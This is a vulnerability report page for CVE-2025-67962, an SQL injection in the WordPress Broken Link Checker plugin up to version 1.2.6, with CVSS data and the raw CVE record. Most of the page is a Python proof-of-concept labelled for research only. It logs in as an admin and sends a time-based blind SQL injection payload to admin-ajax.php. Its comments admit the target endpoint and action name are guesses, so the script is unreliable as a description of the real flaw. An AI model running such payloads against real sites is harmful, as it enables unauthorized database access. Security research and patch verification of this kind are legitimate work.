Security Vulnerability Report
中文
CVE-2025-67962 CVSS 7.6 HIGH

CVE-2025-67962

Published: 2025-12-16 09:16:00
Last Modified: 2026-04-27 18:16:52

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AIOSEO Plugin Team Broken Link Checker broken-link-checker-seo allows SQL Injection.This issue affects Broken Link Checker: from n/a through <= 1.2.6.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Broken Link Checker插件 <= 1.2.6 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67962 SQL Injection PoC # Target: WordPress Broken Link Checker Plugin <= 1.2.6 # Note: Requires high-privilege authentication (Admin) import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def get_auth_token(): """Obtain WordPress authentication cookie/token""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' in str(response.cookies) or response.status_code == 302: return session.cookies return None def exploit_sql_injection(session): """Exploit SQL injection in Broken Link Checker plugin""" # Target endpoint - typically in admin-ajax.php or plugin's API endpoint exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # SQL injection payload - Time-based blind SQL injection sql_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '--" # Craft malicious request exploit_data = { 'action': 'blc_process_links', 'link_url': sql_payload, 'link_text': 'test' } try: response = session.post(exploit_url, data=exploit_data, timeout=10) return response.text except requests.exceptions.Timeout: return "SQL Injection confirmed - Time delay detected" return None def main(): print("[*] CVE-2025-67962 SQL Injection Exploitation") print("[*] Target: Broken Link Checker Plugin <= 1.2.6") print("[*] Authenticating as high-privilege user...") cookies = get_auth_token() if not cookies: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Sending SQL injection payload...") session = requests.Session() session.cookies = cookies result = exploit_sql_injection(session) if result: print("[+] Response received") print(result) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67962", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:59.850", "lastModified": "2026-04-27T18:16:51.617", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AIOSEO Plugin Team Broken Link Checker broken-link-checker-seo allows SQL Injection.This issue affects Broken Link Checker: from n/a through <= 1.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/broken-link-checker-seo/vulnerability/wordpress-broken-link-checker-plugin-1-2-6-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}